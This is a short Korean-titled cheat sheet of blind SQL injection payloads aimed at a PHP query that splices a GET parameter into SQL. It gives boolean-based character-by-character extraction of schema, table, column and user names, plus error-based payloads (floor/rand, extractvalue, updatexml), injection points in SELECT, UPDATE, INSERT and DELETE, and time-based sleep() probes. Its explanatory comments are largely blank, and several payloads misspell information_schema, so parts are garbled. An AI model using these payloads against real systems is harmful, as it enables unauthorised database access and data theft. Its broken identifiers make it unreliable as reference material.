SQL 주입 - 블라인드 주입

$id=$_GET['id'];
SELECT * FROM test WHERE id='$id' LIMIT 0,1;

?id=1' AND length(SELECT schema_name FROM infromation_schema.schemata LIMIT 0,1)>5--+       //          

?id=1' AND ascii(substr((SELECT schema_name FROM infromation_schema.schemata LIMIT 0,1),1,1))>100--+            //  substr()           ，    

?id=1' AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1))>100--+

?id=1' AND ascii(substr((SELECT column_name FROM information_achema.columns WHERE table_achema='security' AND table_name='users' LIMIT 0,1),1,1))>100--+

?id=1' AND ascii(substr((SELECT user FROM security.users LIMIT 0,1),1,1))>100--+

  
SELECT user() regexp '^[a-z]';      //         a-z，   ，  1，    0
SELECT * FROM users WHERE id=1 AND 1=(user() regexp '^[a-z]');          //         ，        
SELECT * FROM users WHERE id=1 AND 1=(if((user() regexp '^[a-z]'),1,0));        //  if()    

  
?id=1' AND 1=(       )--+
?id=1' AND 1=(SELECT (   ) regexp '')--+            //SELECT  
      ascii()  

SELECT * FROM user WHERE id=1 AND 1=(user() LIKE '');       //     

SELECT count(*) FROM information_schema.columns group by (concat(0x7e,(   ),0x7e,floor(rand(0)*2)))--+

SELECT count(1) FROM information_schema.columns group by (concat(0x7e,(   ),0x7e,round(rand(0))))--+

extractvalue(1,concat(0x7e,(   ),0x7e))

updatexml(1,concat(0x7e,(   ),0x7e),1)

select  
SELECT * FROM users WHERE id='' AND (    ) LIMIT 0，1；
SELECT * FROM users WHERE id='' OR (    ) LIMIT 0，1；

update  
UPDATE users SET name='slip' AND (    ) where id=1;
UPDATE users SET name='slip' OR (    ) where id=1;

insert  
INSERT INTO users(id,name) VALUES(1,(    ));
INSERT INTO users(id,name) VALUES(1 AND (    ));

delete  
DELETE FROM users WHERE id=1 AND (    );
DELETE FROM users WHERE id=1 OR (    );

  
SELECT sleep(5);            //  5     
if(ascii(a)>90,1,sleep(5))      //  if       
case when    then     else     end      //if...else ，      

  
?id=1' AND if(ascii(substr(   ),1,1)>100,1,sleep(5))--+
?id=1' AND case when (ascii(substr(   ) from 1 for 1)>100) then 1 else sleep(5) end--+